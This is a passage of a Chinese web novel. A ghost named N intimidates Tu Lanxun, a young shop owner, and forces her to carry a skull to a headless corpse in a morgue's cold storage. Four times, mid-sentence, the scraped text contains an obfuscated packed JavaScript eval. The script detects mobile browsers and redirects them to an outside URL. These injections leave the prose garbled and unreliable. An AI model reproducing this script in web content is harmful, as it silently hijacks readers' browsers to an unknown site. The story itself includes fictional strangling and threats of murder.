他的动作很优雅,当着涂蓝埙的面喝一口汽水,冷面无波,毫无她强忍过的打嗝的迹象。这个动作只是证明,他能喝活人的饮料,香炉上供实属废话。 一滴汽水溅到了N手上,持罐的戴手套的那只右手,虎口处,淡绿色液滴被黑皮底子一透,像宝石,咝咝冒着泡,显出几分毒意。她骤然收声。 N这才缓缓坐下,不是出于她的邀请,而是震慑后的冷淡姿态。涂蓝埙回过神,手快地递了张纸巾,被对方用两根冷白的长指夹住,按在手套上,她赶紧缩回去,生怕晚一秒就碰到鬼。 “你很怕鬼。”N在读她的眼睛,这不公平,因为他的眼睛是一片虚空,什么都读不到。 “我的情绪不会影响到接下来的合作。”涂蓝埙把这场单方面的役使称为合作,“影响合作质量的,是我对此事了解的信息太少,毕竟,我是个需要安全感的人类。没头苍蝇是没法好好工作的。” 这有些得寸进尺了,但适当的得寸进尺在生意场上有好处,涂蓝埙密切关注对方的反应。 N没说话,那双一黑一白的手舒展关节,下一秒,他倏然消失在空气中。 涂蓝埙感觉身后一凉,一道冷而柔滑的高影瞬现,占领了她背后和墙壁之间的空隙。旋即,那只覆盖着皮革手套的手,毫不费力攥住了她的咽喉。 皮肉和动脉被挤压成一层,颈骨咯咯作响,N在她头顶涌出冷风,他身上有草木的气味,不是柔和清新的那种,而是极端冷寂,仿佛被长夜沉淀过的,墓碑上爬藤和泥土的气味,空旷且苦。 涂蓝埙的下巴被迫抬起,对上N的面容,他看起来全变了,那双桃花眼不再黑亮,遍布半透明的蛛网状裂纹,像破碎的玻璃珠,且蒙了尘。他用那双可怖的破碎的眼睛盯着她。 死人。这个概念无比鲜明地浮现在她心中。 N掐了她半分钟才松手,草木气味灌入肺腔,涂蓝埙好像置身于午夜坟地,用力呼吸两口,死亡的恐怖感比缺氧更可怕。 半分钟憋不死人,但她的咽喉疼痛极了,全身发麻,他出这一手,只是为了证明随时能杀死她。 “明天,把颅骨送到市殡仪馆A组12号冷柜。”N不带感情地重复了一遍。 “我没有殡仪馆的工作证,也没有告别仪式要参加,会引起别人注意的。”涂蓝埙捂着脖子。 N垂眸扫来一眼,像是在思考这话的真伪,他很快收回视线,在她颅顶高处说:“明早九点。” 说完这句,他就消失在涂蓝埙身后,好像从没出现那样。 与他一起消失的还有那颗颅骨,还有黑色背包。 如果不是开过封的两听汽水,涂蓝埙会怀疑一切都是幻觉。她怔了两秒,突然很想走到门边,望一望街道外是否恢复原样。如果恰好有一辆车开过,她就闷头跑出去,跳上那辆车离开。 虚空中响起N的声音,他无形无影,警告声直达耳畔,“别想着逃走,我在一直看着你。” 话音未落,一个东西从地上滑过来,由远及近,正好停在涂蓝埙脚边。 是她扔在卫生间的手机。涂蓝埙打开它,发现相册里多了张照片,是从侧后角度拍的她,还有半边收银台。 不过另外半边被货架遮住了,同样被遮住的还有N和骷髅头,甚至还有属于N的那一罐汽水。 看上去就像涂蓝埙一个人坐在那喝饮料似的。 这是N拍的?他全程都在她视线范围内,他竟然能隔空操控手机,让它悬浮到卫生间门口,并按下拍摄键。 照片果不其然在二十分钟前被发给了陶思,对方先回了一条“谁给你拍的”,随后又是一句“延时放置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184552|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自拍,真有闲情逸致”。 发送时间刚好卡在最近的整点。涂蓝埙把手机按在额头上,眼前发黑。 N看过她的聊天列表,知道她和陶思的约定,甚至可能看过她的手机,包括下载图文和搜索记录之类的。 为了不影响第二天的任务,他掐灭了所有潜在的负面因素,包括涂蓝埙漏打卡这件事。 涂蓝埙给陶思回了消息,说明自己接下来有可能睡着,听不见闹钟,有可能会错漏几次打卡,欢迎陶思随时打电话来抽查,记得多打几遍。 之所以强调有可能,是为了防止N再出手代打,万一发去一张涂蓝埙闭眼睡觉的自拍,那就太诡异了。 如果陶思知道她真被鬼缠上,非但不会报警救她,反而会直接删干净她的号码,赖掉所有账务,倘若她能活到明天以后的话,还得靠陶思这条门路赚一阵子呢。 涂蓝埙上到便利店二楼,她当初从涂蓬莱手上要了这家店,就是因为它楼上有生活区,面积不大,但很像她超级喜欢的一间微缩房屋工艺品,上屋下店的格局,明亮温馨。 那个会亮led灯的微缩房子,现在已经摆在某个债主孩子的书柜里了吧。 二楼有张沙发床,她摔进去,沙发床“嘎吱”一声,质量比出租屋的床好不了多少。 涂蓝埙缩进毯子里,尝试闭上眼睛,灯光从眼皮刺入,有些痒,但她需要这样的安全感。 思绪的断线从脑中划过,来便利店前涂蓝埙有过打算,这里是注定没客流了,但她可以利用便利店做些别的事。 本大区内的网络电商分为两种,有实体产权注册的网络分销店铺,以及纯虚拟网店。 前者的信誉分增长速度更快,而且权限更高,比起容易被查封的纯网店,实体网店不仅受到购买者信赖,且不会被工商审批卡。 最重要的是,起步时间可以忽略不计,只要有货,立马就能盘出钱。 这样的话,涂蓝埙,只要是便利店营销范围,食品、日杂、开架护肤品……甚至有偿寄送包裹,她想卖什么都可以。 默默勾掉最后一个选项,涂蓝埙强打精神打开计算器,一行数字停留在那,是开网店的最小启动资金。 十万元。 她现在怎么拿得出来,卡里余额只够一成,头痛的感觉袭来,涂蓝埙必须得尽快搞到剩下的八万多。 “滴答……滴答……” 那种怪异的滴水声再度响起,隐隐约约,涂蓝埙被疲惫和孤寂感包裹着,就连刺目的灯光都留她不住,最终缓缓睡去。 她好想就这样一睡不醒。 “滴答……” 一滴带有灰尘气息的水落在二楼地板,那里突兀浮现出N的身影,他冷眼看向沙发床。 女生猫一样侧蜷着,枕着手机,脸颊被黑色自来卷发覆盖,呼吸有些浅,应该睡得不深。 “哒。”一声轻响,开关自动弹起,灯灭了。 无尽的黑暗流淌过这个房间,在夜间暗光从窗透入的同一秒,N的影子无声无息消失。 只留沙发上蜷缩的涂蓝埙。 5. 05 涂蓝埙是被阳光晒醒的,一早便是个晴天,日光透进来恰好直射沙发床。她睁开眼睛,手机显示七点整。 便利店二楼明亮得不可思议,所有阴霾都被驱散,仿佛昨夜的灵异事件从未发生。她揉眼睛醒了一会,对周围恢复敏感,才发现二楼的电灯关了。 奇怪,昨晚明明是开着灯睡的。 涂蓝埙不愿深想,起身来到窗边,蓬莱大厦外的街道仍然空旷,没有一辆车或一个人经过,只有偶尔飞滚过的售楼纸单。很萧瑟,她想起自己身在何处,被强行拉回现实。 白昼带来的安全感荡然无存,她慢吞吞来到楼下。或许鬼在白天没法出现,这种侥幸刚出现在脑袋里,就被一楼的男鬼身影掐灭了。 “早上好。”涂蓝埙闭上嘴,意识到说了什么,感觉自己还没彻底醒来。 男鬼N坐在一张靠近墙壁的椅子上,那是便利店最阴凉的角落,日光蔓延不到那里。他抬了抬眸,又转瞬垂落,继续阅读手中的东西。 很明显,他显形在这里的原因只有一个,监押她。 大清早被碎裂的眼珠扫了一下,这感觉可真不好,涂蓝埙忍住腿肚的麻痹感,在货架间拣了牙刷毛巾,转身进卫生间洗漱。 水龙头哗啦啦响,镜子上的裂痕仍然清晰,涂蓝埙趁着上厕所关门,用手机试着向外发了条短信,只有个数字1,发送成功了,信号正常。 她谨慎地看了眼门缝,确认反锁,又按下报警电话,拨出去后,嘟声不断响起,在虚空中寻找联线。 涂蓝埙的心脏狂跳,不断祈求,快接,快接,她将水流旋到最大,吞没手机的响动。 悄无声息地,通话界面显示出0:00,很快跳成0:01,报警电话接通了! “……喂?”她将手机捂在嘴边小声。 对面的接线员沉默,涂蓝埙重复了一遍,终于,说话前的扰动声唰唰,接线员开口。 “洗完了就出来。”不是接线员,男声冰冷而悦耳,毫无疑问,是那个男鬼N。 他的话音里没有感情,只有一丝微末的讥诮,仿佛印证她的愚蠢,竟然妄图在灵异力量手中,搞小动作逃出生天。 涂蓝埙赶紧挂掉电话,心跳声在耳边怦怦乱响,那种冰凉彻骨的寒意爬上脊背。她用毛巾擦干脸,对着碎镜子练习两遍微笑,这才若无其事地走了出去。 男鬼N仍保持那个姿势,坐在那个阴暗的角落,好像什么都没做,但涂蓝埙却感到一条看不见的丝束在自己的咽喉处,丝的另一头掌握在N的手中。 早饭还是要吃的,N没有再说任何一个字,涂蓝埙照例去翻货架,这次她没有煮泡面的心情,只找出两袋三明治面包,一袋是草莓果酱的,另一袋是蛋黄酱火腿的。还有两盒牛奶。 她将蛋黄酱三明治和一盒牛奶放在离N最近的货架上,说是最近,其实离N还有八丈远,她微笑的时候微微错开视线,心虚,“先吃早饭吧。” 涂蓝埙带着自己的那份逃回收银桌后面,咀嚼满口甜甜软软,心里忽然有点后悔,这不会是她的上路饭吧? 早知道就多拿几样,弄丰盛一点了。 涂蓝埙一边喝牛奶,一边发照片给陶思打卡,对方好像很失望她还活着,只回了个句号。涂蓝埙想请个白天的假,这是正当理由,N应该不会阻拦。 正当她琢磨如何在一句话里秘密嵌入“跪求你报警救我”的藏头诗时,N忽然站起身,她手一抖,直接把请假的话发了出去。 “走了。”N的视线落在她身上,好像看穿她的意图。 明明还没到八点,涂蓝埙老实跟上,注意到蛋黄酱三明治和牛奶还完整放在原位,一动没动。 和N近距离站在一起,才直观感受到身高差,涂蓝埙有165cm,不算高也不算矮,可她的眼眉才到N的肩膀。对方散发着物理意义上的冷气,那股草木的清冷味道越来越重,她品出一种不算愉快的情绪。 或者说,他的心情并不好,涂蓝埙拿不准是不是那通报警电话惹怒了他。 手机自动弹出地图导航,好像有看不见的手点击,跳转到市殡仪馆的坐标,距离便利店七公里。 由于开发区废弃,地铁只挖了一半,相关的公交线路也停运了,涂蓝埙终于明白N为什么提早出门。因为从这里到开发区和市区交界,要步行三十分钟。 N在踏出店门的瞬间,就消弭了身形,涂蓝埙一个人站在阳光下,锁上店门——其实锁不锁都一样,这地方没人,按照地图导航的方向走去。 她真是倒霉极了,一路上谁都没遇到,就这样走到开发区边缘,远处终于有了些人烟,一家卖包子的小店正在冒热气,旁边停了一辆出租车。而她要去的公交站牌,就在包子铺的不远处。 公交车或许是个转机,经过市中心的线路,乘客会越来越多,在一车厢人里,没准她能有求救的机会,尖叫,或者装成突发心脏病。N再厉害,总不能把几十人一起消灭掉吧?总有人会报警的。 然而经过包子铺时,N的嗓音直接钻入耳朵,“别往前走,上那辆出租车。” 涂蓝埙艰难停住脚步,远处公交车缓缓驶来,她心头一凉,被骤然降临的压迫感束缚住双脚,她敢跑的话,下一秒就会被掐断脖子,只能眼睁睁看着它开走。 出租车司机正坐在小店里吃包子,他吃得差不多了,瞧见等候一旁的涂蓝埙,张嘴一股芹菜味,“小姑娘,打车啊?” 涂蓝埙点点头,司机嚼下最后半颗蒜,擦了擦嘴,走向出租车,还和她搭话,“去哪啊?还在上学吧,哎我才想起来,你是从开发区那边来的?” 出租车司机的眼神一下子变得警惕,涂蓝埙希望他害怕自己,然后抛下她开走,这样她就只能去坐公交车。 但他打量了两眼,可能觉得年轻的女生没什么威胁,目光转到另一方向的旧居民楼,大约以为涂蓝埙是出来锻炼,绕圈过来的,他拉开车门。 “去市殡仪馆。”涂蓝埙原地站了两秒,最终放弃,坐入车的副驾驶。 这里离司机更近,容易接触,也更能在交通摄像头中暴露面容。 司机看了她一眼,从闹鬼的开发区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184553|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边缘到殡仪馆,这一始一终都晦气得很。好在他很自来熟,忍不住和她搭话,“你家是这的啊,看着挺年轻,是在本市读大学吗?” “我读的是鹿大,大四没课。”涂蓝埙尽量多地留下个人信息。 “哦,那快毕业了。还有不到一年。找工作了吗?”司机从换挡杆后面拿了盒口香糖,自己嚼一颗,又问涂蓝埙要不要,她婉拒掉。 出租车嘟囔着车上有股草叶子味,涂蓝埙知道,那来自看不见的第三名乘客,或许N此刻就坐在后面,用那种凉凉的眼光注视着她。 谈话间,出租车已经驶入主市区,早高峰时刻有些拥堵,出租车本来直直向前,被旁边突然变道的SUV别了下,急刹车的惯性让涂蓝埙向前一荡,司机更是快把包子吐出来,“傻X!” 那辆SUV却不通人性,径直朝前面转弯,车技还要命地烂,竟然剐蹭到出租车头,发出车漆磨损的“嘎吱”声。 出租车司机火了,解开安全带就要下车理论,颇有不闹来交警不罢休的气势。 好机会!涂蓝埙在心中叫道,闹得越大越好。 SUV的驾驶员应该是新手,蹭了他们,又不顾他人死活地向后倒车,一个摆尾,生生把旁边车道的两辆车也撞了,路上鸣笛声响成一片。 此时此刻,就是下车的时机! 可就在这时,出租车司机的手停了,他缓缓将安全带卡扣按回去,重新发动点火,手放在挂挡杆上,眼睛直视前方。 涂蓝埙察觉到不对劲。倒退的SUV刚好给出租车让出路来,这场事故聚集了几个人,她心一横,手闪电般摸向车门,用力扳去…… “咔嗒。”车门和车窗自动被中控锁死,她打不开了。 从离开便利店开始,涂蓝埙就一直感觉有道视线,从虚空中锁定她,让她寒毛发痒,可现在那种被注视的感觉消失了。 取而代之的是另一种违和感,司机从半分钟前不再说话,双手以一种从未有过的姿势搭在方向盘上,颇具掌控感,他的目光也变了,漠然盯着前路。 绝对不会错,此刻他身体里是另一个人。 N用司机的躯壳扫了眼涂蓝埙,没说话,鞋尖轻踏油门,车子陡然加速,顺着前方空隙开了出去,将喧嚷抛在后面。 他的车技很不错,甚至比出租车司机还厉害,双手稳操方向盘,就没有减速刹车的时候,在早高峰车流之间穿梭自如,一路上遇到红灯都擦着边驶过。 就像一支会转弯的箭那样。 其中惊险,让涂蓝埙一阵阵头皮发紧,这已经不算危险驾驶,而是纯粹的特技范畴了。 涂蓝埙脑中不受控制地飞过思绪,N是诡异游戏里的鬼吧,他生前是做什么的?她母亲以前有过三个司机,车技都没这样恐怖。 “你到了。”出租车司机的话打断了她的杂念。 不知不觉中,街边渐渐多了丧葬用品店,远处的市殡仪馆是个大园区,肃穆的白色屋顶,灰青色石墙让人有种窒息的感觉。 这是无数生命的终点,也是她此行的终点。 6. 06 出租车没有开进殡仪馆园区,而是在门口停了一下,N给了涂蓝埙一个眼神,她自觉掏出手机,准备扫码付钱。 “不用。”司机的嘴唇动了动,空气中凭空出现一张五十元纸币,手套箱自动开启,钱飘了进去。 涂蓝埙最后一种留下个人信息的办法也失效了,她只能下车,张望着街景,其实在找殡仪馆周围的摄像头。 天空很晴朗,树木绿得发白,但这种地方就是连烈日都阴森森的,而且过于宁静。 出租车慢悠悠开走,涂蓝埙望过去,司机背影僵直,应该还没醒,但阴森的被注视感重新附着在她背后,N在。 “进。”轻柔的声音在她耳边响起。涂蓝埙浑身颤了一下,机械地朝殡仪馆主门走去,这里车停了不少,但外面走动的人不多,没人注意到她。 门口迎宾的人过来,“女士,请问您去哪个分厅?” 涂蓝埙迟迟没说话,一股看不见的力量攥住了她的声带,迎宾的人以为她是伤心过度的家属,投来习以为常但同情的一眼,微微让开身子,请她往右侧主通道自便。 毕竟无论去哪个分厅吊唁,都要经过右侧通道,而左侧通道的大门紧闭着,不知后面是什么。 “往前走,不要乱看。”N的声音响起,但只有她一人能听见,这让本就凝重的空气更冷了。 涂蓝埙经过一间又一间灵堂,花圈和燃香的气味淡淡萦绕,工作人员的念词和家属的低泣声不绝于耳。 这个部分的人比较多,她其实很想随机抓住一个逝者亲友的胳膊求救,这样的念头跟了她一路,但N是不会允许的。 如果她不听他的话,他就会像控制出租车司机那样,直接上她的身。 甚至于,涂蓝埙其实有些好奇,N为什么不直接操纵她?难道为了考验她的心理素质吗。 仿佛看穿了涂蓝埙的前一个念头,N的冷笑声钻入耳朵,“如果你发出不应该的声音,我可以带你见识一下,真正被惊扰的逝者是什么样子。他们比我更难说话。” 在每间灵堂的隔墙后面,都露出一角白色台子,涂蓝埙意识到,那上面放的是玻璃棺里的遗体。 这是殡仪馆,她不仅经过了很多死者亲友,还经过了很多尸体。 涂蓝埙抖了一下,不禁望向周围,空气里会有她看不见的鬼魂吗?长得和某具玻璃棺内的尸体一样,正站在窗台边,或者被她的步伐穿过去,他们会冷冷地看她吗? “你右手边的那群人。”N的嗓音带了些引诱,涂蓝埙看过去,只见素色衣着的人影聚集,背对着她,“里面有一个,是鬼,但旁边的人看不见。” 呕吐的欲望涌上喉咙,涂蓝埙别过头,但视线不由自主被吸过去,拦截不住的潜意识想要寻找,到底哪个才是藏在人群中的鬼。 “忘了说,你也看不见。”N淡漠道,涂蓝埙心中升起怒火,又转瞬被他的下一句浇灭,“如果想,我可以帮你看见。” 涂蓝埙老实了,循着N的指示继续向前,绕过吊唁灵堂的区域,转过弯,是几辆运尸的小车,旁边分出岔道,有互相搀扶着的家属,怏怏朝一处休息厅之类的地方走去。 她立马意识到殡仪馆是环形布局,按照客户动线相连,告别焚烧等候和装盒一条龙,那么不进岔道的话,就是焚尸炉的方向了。 最早进入的迎宾区右侧是环形的起始,那么大门紧闭的左侧…… 答案显而易见,是存放尸体的冷冻柜,也是她此行的目的地。 那里只有工作人员和其带领的家属能进去,但这对N应该不是个问题。 “我能不进去吗?”涂蓝埙站在直行道的不锈钢门后,这门没有门槛,她心里过静电似的发毛,她在脑中问,里面无数具冻尸的恐怖感压过了对N的恐惧,“都到这了,你要送东西,自己进去就行了。” 截止到目前,在摄像头下,涂蓝埙只是乘出租来到殡仪馆,入内逛一圈,并没有违规非法的行为。但单独闯入尸体存放区就不一定了。 忽然出现的骷髅头一定会引起注意,她不想惹上偷盗尸体的罪名。 N没有回答,紧锁的不锈钢门自动开了道缝,里面很黑,一阵冷风从中吹出来,带着涂蓝埙生理性反感的味道。她又想吐了。 意思很明白,进去。 涂蓝埙用手背试了试门边,被冰得瑟缩一下,她起一身鸡皮疙瘩。半透明的人形忽然出现,站在她身后,N的表情冷漠极了,他动作堪称绅士,为她拉开门,目光如刀锋般割在她脖子上。 门后通着一道狭长的走廊,刚好够一辆推车的宽度,尽头点了盏发冷的电灯,比外面昏暗几个度。 涂蓝埙一个人的脚步声在空间里回荡,半透明的N走在她背后,没有脚步声,像自然界中的捕食者那样,潜行在猎物的身后,他的存在感低到令人不安。 走廊转弯后,首先经过的是刻有“D”字的金属牌,同样的金属门后是一道透明塑胶帘,旧且泛黄。 隔了老远才是C区,B区则在直线尽头,两扇门和前面一模一样。到墙角隔断处,路线终止了,A区在哪? 涂蓝埙深吸一口气,才发现还有个转角,与一道幽窄的走廊相连,那里竟然没开灯,凹陷阴影里藏了扇黑绰绰的门,旁边钉有金属牌,应该是A。 手机手电仿佛驱不散这里的黑暗,只能照亮前方的一小块地,A区大门俯视着涂蓝埙,她感觉那个黑洞子里射出了很多道死者的目光,他们无感情地凝望她这不速之客。 而且A门和BCD也不一样,它更宽大,可能是米黄色的,但油漆片片剥落,露出其下的锈褐色肌肤,尤其是接近人类手肘的高度,好像在很多年里被开启过很多次。 一个被开启过很多次的地方,为什么藏在这样曲折不便的角落? A的门牌下标有一行小字,涂蓝埙将手电对准那里,凑近了些,上面写着:用于机关特殊案件及无名尸体存放。 她触电似的缩回来,这行字意味着A区存放的尸体最多,而且时间最久,那里面是一个个死于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184554|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名或者无家可归的人。 “推门,隔着衣袖,别留下指纹。”N忽然出声,她这才记起他还站在旁边。 涂蓝埙把袖子拽过手掌,按上去的刹那,门顺着她的力道打开,里面只有应急灯开着,幽绿色映在四壁灰暗的金属格子,更显鬼气森森。 N的虚体就站在电灯开关前,她没胆子过去开灯,只好硬着头皮用手电依次照过去。 令人头皮发麻的是,或许为了便于管理,很多金属格门贴了身份卡,写有姓名或编号,存放日期,和一个个案件事件名称。 最多的是失踪,但也有凶杀之类的悬案,诡异入侵后案发率大幅上涨,涂蓝埙想着,所以他们把一部分没希望的尸体存到这里。 要找的12号柜在角落,齐腰高度,她读过身份卡,12号冷柜的案件当然是他杀,入库日期在一个遥远的年头,那时涂蓝埙还未成年,而城市另一角死了这个人。 柜内尸体没有名字,这也是能隐隐猜到的事,因为下一步,N逼着涂蓝埙拉开了12号冷柜,“这里还有很多柜子是空的。”他如此威胁。 她还用袖子垫着手,碰到把手的瞬间一哆嗦,金属材质冷得发冰,就像直接触摸死者的皮肤, 打开门,最先看见的是一双光裸的脚底,已经因为常年存放而失水,颜色变深且发皱,再里面是大腿和胸腹的垂直弧度,尸体没穿衣服。 一股气味从里面飘出来,说不出是臭味还是冰柜味,涂蓝埙的胃好像被人锤了一拳,她再也忍耐不住,弯腰退到旁边,干呕得满脸都是眼泪。 她想捂鼻子,但这双手和袖子刚刚拉过存尸柜,连擦眼泪都做不到。 N既耐心又残酷。耐心在于他一声不吭,没有催促涂蓝埙,默默等她消化情绪。 而残酷在于她刚一直起腰,他就说:“继续,把尸体全拉出来。” 涂蓝埙麻木地走过去,支撑她的最后一个念头,是昏倒就会摔在存尸柜上,她拉出了尸体下垫的滑动板,放下支架,那双脚、小腿还有大腿和髋部,随着滚轴声出现在她眼前。 N站在她身边,垂下一双桃花眼,面容尤其是嘴角绷得很紧,两腮轻咬,她说不清那是什么情绪,但一种凛冽的暴虐在空气中弥漫,就好像尸体和他有仇似的。 他手里多了那只黑色背包,好像不愿再多拿半秒,将它塞进涂蓝埙手里,让她继续拉抽屉。 尸体是男性,体型较瘦,又或是因为常年存放而干瘪了,皮肤如同发皱的瓜皮一样堆出络网,质感接近浅色牛皮纸,眼睛适应了黑暗的涂蓝埙看得很清楚,男尸逐渐露出全貌。 下一秒,她忍不住低呼一声,但还没出声就滞涩在嗓子眼里。 男尸的脖颈之上是空的,只有一处圆形的横截面,皮肉微微翻卷,露出干涸的褐色脂肪层、颈骨断面还有一点点耷拉的血管。 她想起为什么不意外信息卡没标注名字了。 因为警方没有找到他的头。 他的头正提在涂蓝埙手中。 7. 07 这个念头像积满雨的乌云,笼罩在涂蓝埙的心脏上。 N垂手站在原地,视线移向她,涂蓝埙拿起黑书包,里面坠着的球形物体分外沉重,她一点都不想打开包,更不想亲手将那枚颅骨拿出来。 “放回去吧。”他轻轻嘶声。 放回去的意思显然是把颅骨搁在尸体的脖颈上。涂蓝埙手抖得两次才拉开包,闭上眼,隔着袖子摩擦到一个略带粗糙的弧面,凉意丝丝,颅骨没有她想象的那样光滑。 重量颇为沉手,她几乎要颤到将它跌落,但最终还是把黑包架在腋下,双手捧着颅骨放在冷柜抽板上,又略微摆正。 现在,寄居于此小十年的无头尸再次完整,干瘪的肉身和白骨化的头颅相接,那双黑洞的空眼眶仰对上方,下颌骨微张,似有未尽之语,这场面,没人能说一句安详。 见N没有动静,涂蓝埙赶紧搭着袖子将抽板推回去,冷柜发出钝钝一声响。她说,“走吧。” 她不敢直视N,别开视线,恰好落回柜门角的信息卡,忽然后背一震,脖颈凉意又重了几分。 这具无头尸体是有确切死亡日期的,是了,他的身躯没有严重腐烂痕迹,想必是死去没多久就被发现了。 是六年前的三月十六日,那一天涂蓝埙记忆很深刻,是她的十六岁生日。 生日过后,她的确听说过,鹿城郊外发现一具无头男尸,那段时间圈子里都在传播恐慌。 因为通报的死亡日期很巧,她注意看过一条被转疯的说说,原文作者是一个据说有警局亲戚的同校同学,颇抖了些硬料,没多久就被勒令删了。 而且,她记得很清晰的一句文字是,无头男尸体内乙(、)醚浓度很高,且头颈切口有手术刀痕迹,怀疑凶手受过临床医疗教育,甚至可能是执业医生。 N的全称正好应该是,Dr.Nightbird,夜莺医生。 那条新闻里对夜莺医生在游戏里的故事只带了一笔,他本来是医院里温柔斯文的年轻精英,但背地里是冷血屠夫,一个人毁掉了一座城市,成千上万的市民丧命他手。 来到地球之后,他有没有继续发扬个人爱好呢。 涂蓝埙的头发都快竖起来了,如果之前她还抱着N或许不会杀她的侥幸,但此时此刻,疑似的悬案凶手已经挟持着她,携带罪证,站在受害者的遗体前。 下一步就是灭口吧。一口咽不下的唾沫卡在她喉咙边,N之前说过,冷柜里还有不少空格子。 这里除非存取无名和受害尸体,不会有人进来,日常检查的话,谁会专门一扇扇打开空格子的门,看看里面是否多了一具涂蓝埙呢? 冷冰冰的金属抽板看上去一点都不舒服,她的皮肤也会变色变质,不过这离焚烧炉不远,她母亲可以很方便地火化她,只是这次支出丧葬费,对涂董事长来说就没那么轻松了。 “这里有监控摄像头。”涂蓝埙听见自己说,“我进来的一路都被拍下来了。” N垂眸看向她,破碎的眼瞳后闪烁着难明的光,他轻轻启动那张苍白的嘴唇,“我知道。” 她的嗓音战栗得厉害,“这对你没好处,我们可以合作,我有活人身份,还有一间便利店,从小就学习管理。我会有用的!” 面前的女生恐惧极了,那头自来卷的黑头发也跟着打颤,但她竟然保持了嗓音的平稳。 这亡者环绕的空间好像赋予了她勇气,让其敢直视N眼珠的裂纹,甚至观察他的表情反应。 那条属于活人的脖子很纤细,连接着同样纤长的身形,但就是这对N而言堪称细弱的一个人,却有双非常清亮的黑眼睛,让她仿佛叫板似的坚称自己的价值。 他避开了她的目光。 “我会处理监控录像。”N回答,他微微俯身,伸手去拿涂蓝埙手中的黑书包。涂蓝埙应激般攥住,不肯放手,僵持着拔起河来,“不要!” 这是她唯一能做到的抗争,跑是跑不掉的,好像帮他提着他的包,就能让她不被杀一样。这样很呆,但是涂蓝埙别无选择。 N的脸更冷了两分,看涂蓝埙的表情就像看咬住物件不松口的猫,他用了很大但不会导致骨折的力道,一根一根掰开她的手指,包在他手中消失了,连带她的希望一起。 涂蓝埙的呼吸紊乱,肾上腺素过劲让她手脚发软,整张脸皮都泛着麻木,连挤出眼泪都做不到,仓皇而无目的地张望,视线虚焦没有落点。 22年的人生,就到此为止了吗。 破产,贫穷,被侮辱,被胁迫,最终永远与流浪者们的尸体为伍,连死都无家可归。 她还剩最后一丝理智,将呼吸困难演得更为夸张,实则攥住衣襟下的项链,它是被验证过的废品,根本挡不住N,但她还是按了下去。 所有神明,所有鬼怪,求求你们,请让她活下去,她愿意做任何事情,只为能看到明天的太阳。 同一秒,在开关被触动之前,一股冷意圈住她的手腕,拇指骤然僵住,再也动弹不了分毫。 N的脸在她眼前微微放大,他真的有一副令人惊骇的美貌,此刻眉头微蹙,唇角折出不耐烦的弧度,“你在干什么?” 涂蓝埙向后拉开距离,对方好像没有杀她的意思,事情已经办完,她看见过他的脸,而她对他连拎包的价值都被否决,他为什么还不动手? N移开目光,将她向后一放,转身走向出口,没有回头的意思。 全身血液回涌,涂蓝埙的双腿终于软瘫,跌坐在原地,失灵的泪腺这才有了知觉,她用力眨眨眼。 她还活着。 神明和鬼怪都答允了。 “你打算睡在这?”N停下脚步,头也不回,他的声音如同金属大门一般冷。 涂蓝埙一翻身爬起来,拍掉裤子上的灰,几步追了上去,甚至殷勤地替N打开门,换来对方漠然而嫌弃的一眼,“哼。” # 回到便利店时,已经过了中午,涂蓝埙整个人恍若重获新生。 她浑身没力气,觑着N的表情,对方没有使用卫生间的意思,直接走向早上那把椅子,她才进去洗了把脸。 涂蓝埙将自己打理干净,可惜行李箱还在出租屋,她只能继续穿这身沾过殡仪馆的衣裤。走出卫生间时,饥饿感悄然复苏,她应该多吃点午饭补补。 货架里好一点的自热火锅都没了,涂蓝埙再次找出泡面,两包,她痛恨这种当狗腿子的感觉,但双腿不由自主走向N,在三米外站住,“你吃藤椒方便面吗?” N用一个挺拔但随意的姿态坐着,低头翻纸册,连眼睛都没抬。涂蓝埙原地站了十秒钟,才等来两个字,“不吃。” 不吃什么?藤椒还是午饭。他的嘴有使用额度吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184555|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她深呼吸一口,去换了香菜口味的,依然是两包,将水倒入关东煮锅。 